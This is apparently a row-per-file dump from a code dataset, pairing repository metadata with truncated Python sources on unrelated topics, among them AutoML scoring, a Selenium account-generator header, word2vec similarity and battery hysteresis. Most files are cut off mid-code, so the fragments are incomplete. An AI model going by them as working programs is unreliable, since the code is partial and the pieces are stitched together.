] | null | null | null | dac4automlcomp/score.py | automl/dac4automlcomp | f1a8b4e2f0fc85ad19b86aa41856496732fed901 | [
"Apache-2.0"
] | null | null | null | dac4automlcomp/score.py | automl/dac4automlcomp | f1a8b4e2f0fc85ad19b86aa41856496732fed901 | [
"Apache-2.0"
] | null | null | null | import argparse
import os
import time
import gym
import warnings
# Parts of the code are inspired by the AutoML3 competition
from sys import argv, path
from os import getcwd
from os.path import join
verbose = True
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description="The experiment run... | 23.676923 | 80 | 0.59974 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 387 | 0.251462 |
3c8c318c871167bf3f056e1a05ea008558ab1c56 | 78 | py | Python | tests/test_test.py | Smirenost/volga | 109191ee994e99a831d90f3e8aa1d82fc766ca8b | [
"MIT"
] | 1 | 2020-11-05T23:40:02.000Z | 2020-11-05T23:40:02.000Z | tests/test_test.py | Smirenost/volga | 109191ee994e99a831d90f3e8aa1d82fc766ca8b | [
"MIT"
] | 3 | 2020-11-05T23:46:34.000Z | 2020-11-12T22:42:12.000Z | tests/test_test.py | Smirenost/volga | 109191ee994e99a831d90f3e8aa1d82fc766ca8b | [
"MIT"
] | null | null | null | from volga.json import foo_test
def test_mock():
assert 1 == foo_test()
| 13 | 31 | 0.692308 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
3c8d359a9fdb99a983fada9faf82eacea1c12723 | 11,067 | py | Python | emails.py | kotx/proton-vpn-account-generator | 8f99093cdf1d0244a91493a09d2e37a02721d144 | [
"MIT"
] | 5 | 2020-04-03T13:57:07.000Z | 2022-03-11T03:20:14.000Z | emails.py | kotx/proton-vpn-account-generator | 8f99093cdf1d0244a91493a09d2e37a02721d144 | [
"MIT"
] | 2 | 2020-10-15T20:26:44.000Z | 2021-05-29T09:36:10.000Z | emails.py | kotx/proton-vpn-account-generator | 8f99093cdf1d0244a91493a09d2e37a02721d144 | [
"MIT"
] | 5 | 2020-04-03T13:57:08.000Z | 2022-01-23T08:52:16.000Z | # 🚀 This Project is in it's early stages of Development.
# 📌 Working on new features and main menu.
# ⚠️ Any Questions or Suggestions please Mail to: hendriksdevmail@gmail.com
# 🖥 Version: 1.0.0
from selenium import webdriver
from colorama import Fore, Back, Style
import warnings
import time
import random
import st... | 37.771331 | 218 | 0.539893 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5,866 | 0.529422 |
3c8d3ed266d844941e1c8f372146b0d80fbb53f5 | 1,491 | py | Python | fixation/configuration.py | deepy/fix-template | 3f9ce0a74712e9e195c392e0104e7dc8a6a575f5 | [
"MIT"
] | null | null | null | fixation/configuration.py | deepy/fix-template | 3f9ce0a74712e9e195c392e0104e7dc8a6a575f5 | [
"MIT"
] | 9 | 2018-05-10T19:04:03.000Z | 2018-06-09T18:10:06.000Z | fixation/configuration.py | deepy/fixation | 3f9ce0a74712e9e195c392e0104e7dc8a6a575f5 | [
"MIT"
] | null | null | null | from fixation.models import get_id, Message, MsgContent, Component, Field, Enum
import os
class Configuration:
@staticmethod
def fiximate(base_dir):
return Configuration(base_dir)
def __init__(self, base_dir, messages='messages', fields='fields', components='components'):
self.base_dir =... | 35.5 | 112 | 0.627096 | 1,396 | 0.936284 | 0 | 0 | 153 | 0.102616 | 0 | 0 | 102 | 0.06841 |
3c8d77d4d57e1f26a6211fbc207a54886ca5a41a | 4,201 | py | Python | ApproachV4/src/SentenceSimilarity.py | kanishk2509/TwitterBotDetection | 26355410a43c27fff9d58f71ca0d87ff6e707b6a | [
"Unlicense"
] | 2 | 2021-06-09T20:55:17.000Z | 2021-11-03T03:07:37.000Z | ApproachV4/src/SentenceSimilarity.py | kanishk2509/TwitterBotDetection | 26355410a43c27fff9d58f71ca0d87ff6e707b6a | [
"Unlicense"
] | null | null | null | ApproachV4/src/SentenceSimilarity.py | kanishk2509/TwitterBotDetection | 26355410a43c27fff9d58f71ca0d87ff6e707b6a | [
"Unlicense"
] | 1 | 2020-07-26T02:31:38.000Z | 2020-07-26T02:31:38.000Z |
######################
# Loading word2vec
######################
import os
from threading import Semaphore
import gensim
from gensim.models import KeyedVectors
pathToBinVectors = '/Users/kanishksinha/Downloads/GoogleNews-vectors-negative300.bin'
newFilePath = '/Users/kanishksinha/Downloads/GoogleNews-vectors-negative... | 44.221053 | 191 | 0.615092 | 2,022 | 0.481314 | 0 | 0 | 0 | 0 | 0 | 0 | 2,014 | 0.47941 |
3c8f07d1d3e0d5bb32a801e512cab31d3aca91cc | 134 | py | Python | LISTAS/Valores-unicos-em-uma-Lista-1/main.py | lucasf5/Python | c5649121e2af42922e2d9c19cec98322e132bdab | [
"MIT"
] | 1 | 2021-09-28T13:11:56.000Z | 2021-09-28T13:11:56.000Z | LISTAS/Valores-unicos-em-uma-Lista-1/main.py | lucasf5/Python | c5649121e2af42922e2d9c19cec98322e132bdab | [
"MIT"
] | null | null | null | LISTAS/Valores-unicos-em-uma-Lista-1/main.py | lucasf5/Python | c5649121e2af42922e2d9c19cec98322e132bdab | [
"MIT"
] | null | null | null | lista = []
x = 0
while x != 999:
x = int(input('Numero: '))
if x not in lista:
lista.append(x)
lista.sort()
print(lista)
| 11.166667 | 28 | 0.559701 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 | 0.074627 |
3c8f9f7ee5923a773fc310335335a5650e8aeefb | 12,399 | py | Python | src/api.py | CodexLink/ProfileMD_DRP | 7604c0d43817daf3590306fd449352673db272fe | [
"Apache-2.0"
] | 8 | 2021-09-22T21:06:13.000Z | 2022-03-27T09:52:55.000Z | src/api.py | CodexLink/ProfileMD_DRP | 7604c0d43817daf3590306fd449352673db272fe | [
"Apache-2.0"
] | 6 | 2021-07-30T09:35:01.000Z | 2022-03-30T13:16:03.000Z | src/api.py | CodexLink/ProfileMD_DRP | 7604c0d43817daf3590306fd449352673db272fe | [
"Apache-2.0"
] | 2 | 2021-08-14T10:45:37.000Z | 2021-11-20T12:41:13.000Z | """
Copyright 2021 Janrey "CodexLink" Licas
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, s... | 46.092937 | 234 | 0.583595 | 11,279 | 0.90967 | 0 | 0 | 0 | 0 | 10,758 | 0.867651 | 5,760 | 0.464554 |
3c9056dfb6354e5daafd7bffd768de97d7f13f54 | 11,790 | py | Python | src/fidesops/service/connectors/query_config.py | nathanawmk/fidesops | 1ab840206a78e60673aebd5838ba567095512a58 | [
"Apache-2.0"
] | null | null | null | src/fidesops/service/connectors/query_config.py | nathanawmk/fidesops | 1ab840206a78e60673aebd5838ba567095512a58 | [
"Apache-2.0"
] | null | null | null | src/fidesops/service/connectors/query_config.py | nathanawmk/fidesops | 1ab840206a78e60673aebd5838ba567095512a58 | [
"Apache-2.0"
] | null | null | null | import logging
import re
from abc import ABC, abstractmethod
from typing import Dict, Any, List, Set, Optional, Generic, TypeVar, Tuple
from sqlalchemy import text
from sqlalchemy.sql.elements import TextClause
from fidesops.graph.config import ROOT_COLLECTION_ADDRESS, CollectionAddress
from fidesops.graph.traversal ... | 38.655738 | 128 | 0.598473 | 10,694 | 0.90704 | 0 | 0 | 1,459 | 0.123749 | 0 | 0 | 3,552 | 0.301272 |
3c90a121b4d915c2524981fd84ae09376497b28d | 91 | py | Python | chocopy-rs/test/pa3/simple_str.py | wwylele/chocopy-wwylele | ef60c94cc9c2d7c8ac11cf2761b724a717ac36aa | [
"MIT"
] | 5 | 2020-05-13T03:47:43.000Z | 2022-01-20T04:52:42.000Z | chocopy-rs/test/pa3/simple_str.py | wwylele/chocopy-wwylele | ef60c94cc9c2d7c8ac11cf2761b724a717ac36aa | [
"MIT"
] | 4 | 2020-05-18T01:06:15.000Z | 2020-06-12T19:33:14.000Z | chocopy-rs/test/pa3/simple_str.py | wwylele/chocopy-rs | ef60c94cc9c2d7c8ac11cf2761b724a717ac36aa | [
"MIT"
] | null | null | null | print("debug_print: 42")
print("")
print("Hello")
#!
#<->#
#debug_print: 42
#
#Hello
#<->#
| 9.1 | 24 | 0.56044 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 61 | 0.67033 |
3c92d76b2ecb583dc3d4b1217c00aa46b1e963fb | 710 | py | Python | src/catchbot/routes.py | grihabor/catch-hook-telegram-bot | 1f3c6a5d56d5ebba3d4620b532acde2ed734a75e | [
"MIT"
] | null | null | null | src/catchbot/routes.py | grihabor/catch-hook-telegram-bot | 1f3c6a5d56d5ebba3d4620b532acde2ed734a75e | [
"MIT"
] | 4 | 2018-02-21T11:25:49.000Z | 2018-06-23T15:51:51.000Z | src/catchbot/routes.py | grihabor/catch-hook-telegram-bot | 1f3c6a5d56d5ebba3d4620b532acde2ed734a75e | [
"MIT"
] | null | null | null | from flask import request, redirect
from .message import create_message_for_user
from .tasks import send_message_to_bot
def _hook(chat_id, hash):
if not request.is_json:
return 'Data must be in json format', 400
json_obj = request.get_json(cache=False)
msg = create_message_for_user(request.heade... | 22.903226 | 63 | 0.683099 | 0 | 0 | 0 | 0 | 191 | 0.269014 | 0 | 0 | 104 | 0.146479 |
3c97c75c9954f8ab840e506c7e164088d7c58e96 | 17,208 | py | Python | src/PR_recommend_algorithm.py | HyunJW/An-Algorithm-for-Peer-Reviewer-Recommendation-Based-on-Scholarly-Activity-Assessment | 6e94a7775f110bd74a71182f0d29baa91f880ac9 | [
"Apache-2.0"
] | 2 | 2020-05-25T08:20:54.000Z | 2020-05-25T08:21:02.000Z | src/PR_recommend_algorithm.py | HyunJW/An-Algorithm-for-Peer-Reviewer-Recommendation | 6e94a7775f110bd74a71182f0d29baa91f880ac9 | [
"Apache-2.0"
] | null | null | null | src/PR_recommend_algorithm.py | HyunJW/An-Algorithm-for-Peer-Reviewer-Recommendation | 6e94a7775f110bd74a71182f0d29baa91f880ac9 | [
"Apache-2.0"
] | null | null | null | #-*- coding:utf-8 -*-
#import python packages
from sklearn.feature_extraction.text import CountVectorizer
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.metrics.pairwise import cosine_similarity
from sklearn.metrics import adjusted_rand_score
from sklearn.metrics import silhouette_samples
fr... | 29.01855 | 179 | 0.609949 | 544 | 0.029972 | 0 | 0 | 0 | 0 | 0 | 0 | 3,256 | 0.179394 |
3c988a3bbfa24fe5c3273607b2e3a5909c559524 | 2,241 | py | Python | controlimcap/models/flatattn.py | SikandarBakht/asg2cap | d8a6360eaccdb8c3add5f9c4f6fd72764e47e762 | [
"MIT"
] | 169 | 2020-03-15T08:41:39.000Z | 2022-03-30T09:36:17.000Z | controlimcap/models/flatattn.py | wtr850/asg2cap | 97a1d866d4a2b86c1f474bb168518f97eb2f8b96 | [
"MIT"
] | 25 | 2020-05-23T15:14:00.000Z | 2022-03-10T06:20:31.000Z | controlimcap/models/flatattn.py | wtr850/asg2cap | 97a1d866d4a2b86c1f474bb168518f97eb2f8b96 | [
"MIT"
] | 25 | 2020-04-02T10:08:01.000Z | 2021-12-09T12:10:10.000Z | import torch
import torch.nn as nn
import framework.configbase
import caption.encoders.vanilla
import caption.decoders.attention
import caption.models.attention
import controlimcap.encoders.flat
from caption.models.attention import MPENCODER, ATTNENCODER, DECODER
class NodeBUTDAttnModel(caption.models.attention.BU... | 43.096154 | 95 | 0.764391 | 1,965 | 0.876841 | 0 | 0 | 0 | 0 | 0 | 0 | 217 | 0.096832 |
3c99a84bfa19cff4eef1b2a7eb8aeb82d35b63a6 | 5,169 | py | Python | pywincffi/kernel32/console.py | opalmer/pycffiwin32 | 39210182a92e93c37a9f1c644fd5fcc1aa32f6d1 | [
"MIT"
] | 10 | 2015-11-19T12:39:50.000Z | 2021-02-21T20:15:29.000Z | pywincffi/kernel32/console.py | opalmer/pycffiwin32 | 39210182a92e93c37a9f1c644fd5fcc1aa32f6d1 | [
"MIT"
] | 109 | 2015-06-15T05:03:33.000Z | 2018-01-14T10:18:48.000Z | pywincffi/kernel32/console.py | opalmer/pycffiwin32 | 39210182a92e93c37a9f1c644fd5fcc1aa32f6d1 | [
"MIT"
] | 8 | 2015-07-29T04:18:27.000Z | 2018-11-02T17:15:40.000Z | """
Console
-------
A module containing functions for interacting with a Windows
console.
"""
from six import integer_types
from pywincffi.core import dist
from pywincffi.core.checks import NON_ZERO, NoneType, input_check, error_check
from pywincffi.exceptions import WindowsAPIError
from pywincffi.wintypes import HA... | 32.923567 | 83 | 0.691623 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2,739 | 0.52989 |
3c9a8ed33f779646dc17846360f63018c12812e8 | 2,568 | py | Python | src/extractClimateObservations.py | bcgov/nr-rfc-ensweather | 5d1ce776e6eeb35a5672ca194e3c2ced1be98ed6 | [
"Apache-2.0"
] | 1 | 2021-03-23T15:32:39.000Z | 2021-03-23T15:32:39.000Z | src/extractClimateObservations.py | bcgov/nr-rfc-ensweather | 5d1ce776e6eeb35a5672ca194e3c2ced1be98ed6 | [
"Apache-2.0"
] | 7 | 2021-02-05T00:52:08.000Z | 2022-03-01T21:37:43.000Z | src/extractClimateObservations.py | bcgov/nr-rfc-ensweather | 5d1ce776e6eeb35a5672ca194e3c2ced1be98ed6 | [
"Apache-2.0"
] | 2 | 2021-02-24T20:29:39.000Z | 2021-03-23T15:32:44.000Z | """
extracts the climate observation data from the xlsx spreadsheet to a csv file
so that ens weather scripts can consume it.
Looks in the folder os.environ["ENS_CLIMATE_OBS"]
determines the relationship between the xlsx source and the csv destinations
deleteds any csv's and regenerates them by exporting the ALL_DATa... | 35.178082 | 101 | 0.712227 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 908 | 0.353583 |
3c9b6cb2f965c39ce2408034c9338f67c659fa02 | 403 | py | Python | Python/Basic Data Types/finding-the-percentage.py | mateusnr/hackerrank-solutions | 2fa60bae480d8afb46e3d99929707a7d9d92858f | [
"CC0-1.0"
] | 1 | 2015-08-01T04:03:47.000Z | 2015-08-01T04:03:47.000Z | Python/Basic Data Types/finding-the-percentage.py | mateusnr/hackerrank-solutions | 2fa60bae480d8afb46e3d99929707a7d9d92858f | [
"CC0-1.0"
] | null | null | null | Python/Basic Data Types/finding-the-percentage.py | mateusnr/hackerrank-solutions | 2fa60bae480d8afb46e3d99929707a7d9d92858f | [
"CC0-1.0"
] | 4 | 2020-05-04T15:12:21.000Z | 2021-02-18T11:58:30.000Z | n = int(input()) # takes the number of arguments
mdict = {}
for i in range(0,n):
grades = input().split(" ") # self explanatory
scores = list(map(float, grades[1:])) # since the first element from the list grades is the name of the student
mdict[grades[0]] = sum(scores)/float(len(scores)) # the key is t... | 50.375 | 120 | 0.665012 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 196 | 0.486352 |
3c9c7350a4efa3be4f373180a4fc5ceaa1d748e4 | 2,764 | py | Python | src/6_ZigZagConversion.py | chenbin11200/AlgorithmInPython | 222780f14afdafc4c7d0047b6f1477bd0b0ecf0f | [
"MIT"
] | null | null | null | src/6_ZigZagConversion.py | chenbin11200/AlgorithmInPython | 222780f14afdafc4c7d0047b6f1477bd0b0ecf0f | [
"MIT"
] | null | null | null | src/6_ZigZagConversion.py | chenbin11200/AlgorithmInPython | 222780f14afdafc4c7d0047b6f1477bd0b0ecf0f | [
"MIT"
] | null | null | null | class Solution(object):
def convert(self, s, numRows):
"""
:type s: str
:type numRows: int
:rtype: str
"""
evenColumnIndex = True
result = []
stringLength = len(s)
if numRows >= stringLength or numRows == 1:
return s
fullL... | 27.098039 | 79 | 0.45152 | 2,636 | 0.95369 | 0 | 0 | 0 | 0 | 0 | 0 | 341 | 0.123372 |
3c9d412ce7e720587944a183ef63dc8c3a37cb1a | 2,437 | py | Python | server/server/parsing/session.py | PixelogicDev/zoom_attendance_check | 7c47066d006ae2205ccb04371115904ec48e3bda | [
"MIT"
] | 1 | 2020-12-30T19:39:56.000Z | 2020-12-30T19:39:56.000Z | server/server/parsing/session.py | PixelogicDev/zoom_attendance_check | 7c47066d006ae2205ccb04371115904ec48e3bda | [
"MIT"
] | null | null | null | server/server/parsing/session.py | PixelogicDev/zoom_attendance_check | 7c47066d006ae2205ccb04371115904ec48e3bda | [
"MIT"
] | null | null | null | import pandas as pd
class Session:
def __init__(self, students_df, df_session_chat, meta_data):
self._first_message_time = df_session_chat["time"].sort_values().iloc[0]
self._relevant_chat = self.get_participants_in_session(students_df, df_session_chat, meta_data)
@ staticmethod
def get_... | 55.386364 | 137 | 0.684858 | 2,416 | 0.991383 | 0 | 0 | 1,454 | 0.596635 | 0 | 0 | 695 | 0.285187 |
3c9f1d64c05ce80fd3ad121b31d428afa01b9e36 | 4,538 | py | Python | project/image.py | Mandrenkov/SVBRDF-Texture-Synthesis | 7e7282698befd53383cbd6566039340babb0a289 | [
"MIT"
] | 2 | 2021-04-26T14:41:11.000Z | 2021-08-20T09:13:03.000Z | project/image.py | Mandrenkov/SVBRDF-Texture-Synthesis | 7e7282698befd53383cbd6566039340babb0a289 | [
"MIT"
] | null | null | null | project/image.py | Mandrenkov/SVBRDF-Texture-Synthesis | 7e7282698befd53383cbd6566039340babb0a289 | [
"MIT"
] | null | null | null | import imageio # type: ignore
import logging
import numpy # type: ignore
import os
import pathlib
import torch
import torchvision # type: ignore
import utils
from torch import Tensor
from typing import Callable
def load(path: str, encoding: str = 'RGB') -> Tensor:
'''
Loads the image at the given path usi... | 32.884058 | 163 | 0.628691 | 0 | 0 | 0 | 0 | 991 | 0.218282 | 0 | 0 | 2,254 | 0.496476 |
b1af4bb14846eb251b39a1c7a18e1ee46ffce810 | 12,611 | py | Python | node_graph.py | JasonZhuGit/py_path_planner | e045a076c2c69284f1f977420ad93a966161e012 | [
"Apache-2.0"
] | null | null | null | node_graph.py | JasonZhuGit/py_path_planner | e045a076c2c69284f1f977420ad93a966161e012 | [
"Apache-2.0"
] | null | null | null | node_graph.py | JasonZhuGit/py_path_planner | e045a076c2c69284f1f977420ad93a966161e012 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
# -*- coding:utf-8 -*-
import matplotlib.pyplot as plt
import numpy as np
from vertex import Vertex
from heap import PriorityQueue
class NodeGraph():
'''
The NodeGraph conception comes from computer science textbooks work on graphs
in the mathematical sense―a set of vertices ... | 35.624294 | 135 | 0.505273 | 10,749 | 0.837476 | 0 | 0 | 2,219 | 0.172887 | 0 | 0 | 1,604 | 0.124971 |
b1b2da34505536ccd8a8d170d37deaec68c901e7 | 1,534 | py | Python | Y2018/Day09.py | dnsdhrj/advent-of-code-haskell | 160257960c7995f3e54f889b3d893894bc898005 | [
"BSD-3-Clause"
] | 7 | 2020-11-28T10:29:45.000Z | 2022-02-03T07:37:54.000Z | Y2018/Day09.py | sonowz/advent-of-code-haskell | 160257960c7995f3e54f889b3d893894bc898005 | [
"BSD-3-Clause"
] | null | null | null | Y2018/Day09.py | sonowz/advent-of-code-haskell | 160257960c7995f3e54f889b3d893894bc898005 | [
"BSD-3-Clause"
] | null | null | null | import re
class Doubly:
def __init__(self, value, prev=None, next=None):
self.value = value
self.prev = prev or self
self.next = next or self
def move(self, n):
curr = self
for i in range(abs(n)):
if n < 0:
curr = curr.prev
else:... | 23.96875 | 89 | 0.541069 | 696 | 0.453716 | 0 | 0 | 0 | 0 | 0 | 0 | 56 | 0.036506 |
b1b3c90a89f10cc3abca5ea3c241070e29f4d3b5 | 628 | py | Python | examples/consulta_preco.py | deibsoncarvalho/tabela-fipe-api | 2890162e4436611326f0b878f647f344a8d52626 | [
"Apache-2.0"
] | null | null | null | examples/consulta_preco.py | deibsoncarvalho/tabela-fipe-api | 2890162e4436611326f0b878f647f344a8d52626 | [
"Apache-2.0"
] | null | null | null | examples/consulta_preco.py | deibsoncarvalho/tabela-fipe-api | 2890162e4436611326f0b878f647f344a8d52626 | [
"Apache-2.0"
] | null | null | null | from fipeapi import CARRO, CAMINHAO, MOTO, consulta_preco_veiculo, pega_anos_modelo, pega_modelos
from time import sleep
def consulta_preco(marca="HONDA"):
modelo = pega_modelos(tipo_veiculo=CAMINHAO, marca=marca)[0]['modelo']
print(f"\nAnos do Modelo {modelo} da {marca}:")
sleep(2)
anos = pega_anos_m... | 36.941176 | 97 | 0.705414 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 83 | 0.132166 |
b1b43acb4fa91071f5f63c2486fa86ca051d0487 | 247 | py | Python | servo/views/tags.py | ipwnosx/Servo | 3418ece690ca90d676a7d8ae654da7770ae312fb | [
"BSD-2-Clause"
] | null | null | null | servo/views/tags.py | ipwnosx/Servo | 3418ece690ca90d676a7d8ae654da7770ae312fb | [
"BSD-2-Clause"
] | null | null | null | servo/views/tags.py | ipwnosx/Servo | 3418ece690ca90d676a7d8ae654da7770ae312fb | [
"BSD-2-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
from django.http import HttpResponse
from servo.models import TaggedItem
def clear(request, pk):
TaggedItem.objects.get(pk=pk).delete()
return HttpResponse("")
def add(request, content_type, pk, tag):
pass
| 17.642857 | 42 | 0.696356 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 25 | 0.101215 |
b1b47b065e5504e7082a3670697994dcf84ff418 | 853 | py | Python | isubscribe/management/commands/announce.py | ilavender/sensu_drive | e874024aa157c7076ccc9465e9d6ae00a4f19fd0 | [
"MIT"
] | 71 | 2016-12-25T12:06:07.000Z | 2021-02-21T21:14:48.000Z | isubscribe/management/commands/announce.py | ilavender/sensu_drive | e874024aa157c7076ccc9465e9d6ae00a4f19fd0 | [
"MIT"
] | 7 | 2016-12-23T23:18:45.000Z | 2021-06-10T18:58:14.000Z | isubscribe/management/commands/announce.py | ilavender/sensu_drive | e874024aa157c7076ccc9465e9d6ae00a4f19fd0 | [
"MIT"
] | 30 | 2017-01-01T16:18:19.000Z | 2021-04-21T15:06:47.000Z | from django.core.management.base import BaseCommand, CommandError
from channels import Channel, Group, channel_layers
import json
from builtins import str
class Command(BaseCommand):
help = 'Send text announcement on notifications channel (events view)'
def add_arguments(self, parser):
... | 27.516129 | 74 | 0.52755 | 691 | 0.810082 | 0 | 0 | 0 | 0 | 0 | 0 | 192 | 0.225088 |
b1b9101a00a5671a8a714dcff7906632b6da9851 | 849 | py | Python | jcms/models/generic_menu_item.py | jessielaf/jcms-pip | ba0580c7cf229b099c17f0286d148018dabf8aa8 | [
"MIT"
] | null | null | null | jcms/models/generic_menu_item.py | jessielaf/jcms-pip | ba0580c7cf229b099c17f0286d148018dabf8aa8 | [
"MIT"
] | null | null | null | jcms/models/generic_menu_item.py | jessielaf/jcms-pip | ba0580c7cf229b099c17f0286d148018dabf8aa8 | [
"MIT"
] | null | null | null | from typing import List
from django.template.defaultfilters import slugify
from jcms.models.single_menu_item import SingleMenuItem
class GenericMenuItem:
"""
Generic menu item that can be seen in the left bar in the cms
"""
def __init__(self, title: str, single_menu_items: List[SingleMenuItem], slug:... | 30.321429 | 95 | 0.657244 | 715 | 0.842167 | 0 | 0 | 0 | 0 | 0 | 0 | 403 | 0.474676 |
b1ba9b4717e2cdd9d9bb6e7e1745006030876674 | 9,572 | py | Python | SOC_Photon/Battery State/EKF/sandbox/Hysteresis.py | davegutz/myStateOfCharge | d03dc5e92a9561d4b28be271d4eabe40b48b32ce | [
"MIT"
] | 1 | 2021-12-03T08:56:33.000Z | 2021-12-03T08:56:33.000Z | SOC_Photon/Battery State/EKF/sandbox/Hysteresis.py | davegutz/myStateOfCharge | d03dc5e92a9561d4b28be271d4eabe40b48b32ce | [
"MIT"
] | null | null | null | SOC_Photon/Battery State/EKF/sandbox/Hysteresis.py | davegutz/myStateOfCharge | d03dc5e92a9561d4b28be271d4eabe40b48b32ce | [
"MIT"
] | null | null | null | # Hysteresis class to model battery charging / discharge hysteresis
# Copyright (C) 2022 Dave Gutz
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation;
# version 2.1 of the License.
#
# This... | 35.191176 | 120 | 0.531446 | 5,374 | 0.561429 | 0 | 0 | 0 | 0 | 0 | 0 | 1,878 | 0.196197 |
b1bbb7e85fba153d58638741ce35332ddf59f2bb | 127 | py | Python | blog/home/urls.py | 11059/blog | bd3a68b4a032c24da5831aefd33f358284ca4c3d | [
"MIT"
] | null | null | null | blog/home/urls.py | 11059/blog | bd3a68b4a032c24da5831aefd33f358284ca4c3d | [
"MIT"
] | null | null | null | blog/home/urls.py | 11059/blog | bd3a68b4a032c24da5831aefd33f358284ca4c3d | [
"MIT"
] | null | null | null | from django.urls import path
from home.views import IndexView
urlpatterns=[
path('', IndexView.as_view(),name='index'),
] | 18.142857 | 47 | 0.724409 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 | 0.070866 |
b1bbf9e9296a7bbda869b9c7e588aab147399325 | 1,507 | py | Python | groundstation/proto/object_list_pb2.py | richo/groundstation | 7ed48dd355051ee6b71164fc801e3893c09d11db | [
"MIT"
] | 26 | 2015-06-18T20:17:07.000Z | 2019-09-26T09:55:35.000Z | groundstation/proto/object_list_pb2.py | richo/groundstation | 7ed48dd355051ee6b71164fc801e3893c09d11db | [
"MIT"
] | null | null | null | groundstation/proto/object_list_pb2.py | richo/groundstation | 7ed48dd355051ee6b71164fc801e3893c09d11db | [
"MIT"
] | 5 | 2015-07-20T01:52:47.000Z | 2017-01-08T09:54:07.000Z | # Generated by the protocol buffer compiler. DO NOT EDIT!
# source: groundstation/proto/object_list.proto
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import descriptor_pb2
# @@protoc_in... | 25.982759 | 114 | 0.760451 | 175 | 0.116125 | 0 | 0 | 0 | 0 | 0 | 0 | 439 | 0.291307 |
b1bc9799f169be42f1deb800510f1f294b2fb871 | 3,822 | py | Python | src/google.com/get_website.py | IRE-Project/Data-Collector | 9ca3efc32afe068682d334c8f833cb97ff2af36d | [
"MIT"
] | null | null | null | src/google.com/get_website.py | IRE-Project/Data-Collector | 9ca3efc32afe068682d334c8f833cb97ff2af36d | [
"MIT"
] | null | null | null | src/google.com/get_website.py | IRE-Project/Data-Collector | 9ca3efc32afe068682d334c8f833cb97ff2af36d | [
"MIT"
] | null | null | null | """@file
This file is responsible for extracting website from google search results and formatting them for later use.
"""
import json
from urllib.parse import urlparse
import nltk
import os
tc = 0
cp = 0
def find_website(raw_data):
"""
Uses several rule based techniques to find candidate websites for a compa... | 27.695652 | 118 | 0.554422 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,272 | 0.33281 |
b1bd684c676eed6c1630b156d59e20baabdf47e4 | 212 | py | Python | easy/43_set_union_op.py | UltiRequiem/hacker-rank-python | bcc6a467dd2a1f90cf61c1d6b049f566f5ffabe1 | [
"MIT"
] | 4 | 2021-08-02T21:34:38.000Z | 2021-09-24T03:26:33.000Z | easy/43_set_union_op.py | UltiRequiem/hacker-rank-python | bcc6a467dd2a1f90cf61c1d6b049f566f5ffabe1 | [
"MIT"
] | null | null | null | easy/43_set_union_op.py | UltiRequiem/hacker-rank-python | bcc6a467dd2a1f90cf61c1d6b049f566f5ffabe1 | [
"MIT"
] | 3 | 2021-08-02T21:34:39.000Z | 2021-08-02T21:37:16.000Z | from functools import reduce as rd
def main() -> int:
return len(
rd(lambda a, b: a | b, [set(input().strip().split()) for j in range(4)][1::2])
)
if __name__ == "__main__":
print(main())
| 17.666667 | 86 | 0.561321 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 | 0.04717 |
b1c12120eb1970800352a4b0dd3d40166babaf18 | 2,354 | py | Python | api/serializers.py | openjobs-cinfo/openjobs-api | b902d41fc20167727bd058a77906ddb9a83fd52f | [
"MIT"
] | null | null | null | api/serializers.py | openjobs-cinfo/openjobs-api | b902d41fc20167727bd058a77906ddb9a83fd52f | [
"MIT"
] | null | null | null | api/serializers.py | openjobs-cinfo/openjobs-api | b902d41fc20167727bd058a77906ddb9a83fd52f | [
"MIT"
] | null | null | null | from rest_framework.serializers import ModelSerializer
from .models import Degree, Job, Skill, DataOrigin, Address, Qualification, User
class DegreeSerializer(ModelSerializer):
class Meta:
model = Degree
fields = ('id', 'name', 'description')
class AddressSerializer(ModelSerializer):
class M... | 28.707317 | 115 | 0.643161 | 2,188 | 0.929482 | 0 | 0 | 0 | 0 | 0 | 0 | 520 | 0.220901 |
b1c1b0752a916c3d0a0607d4658e6692c2c8187f | 506 | py | Python | naive_program.py | silentShadow/Python-3.5 | acbbbc88826d9168ef2af29ca465930256f67332 | [
"MIT"
] | null | null | null | naive_program.py | silentShadow/Python-3.5 | acbbbc88826d9168ef2af29ca465930256f67332 | [
"MIT"
] | null | null | null | naive_program.py | silentShadow/Python-3.5 | acbbbc88826d9168ef2af29ca465930256f67332 | [
"MIT"
] | null | null | null | import urllib.request
urls = [ "https://www.google.com","httpr://www.python.org" ]
for link in urls:
request = urllib.request.Request( link)
response = urllib.request.urlopen( request)
'''
action here
'''
'''\
NORMAL: sloooow
[][][] [][] [][]{}{} {}{}{} {}{}{} {}
THREADING: st... | 23 | 60 | 0.420949 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 345 | 0.681818 |
b1c3d6bce2bd16b269bea21fd537024f6377ca87 | 779 | py | Python | utils/management/commands/report_utils/msg_counts.py | tperrier/mwachx | 94616659dc29843e661b2ecc9a2e7f1d4e81b5a4 | [
"Apache-2.0"
] | 3 | 2015-05-27T14:35:49.000Z | 2016-02-26T21:04:32.000Z | utils/management/commands/report_utils/msg_counts.py | tperrier/mwachx | 94616659dc29843e661b2ecc9a2e7f1d4e81b5a4 | [
"Apache-2.0"
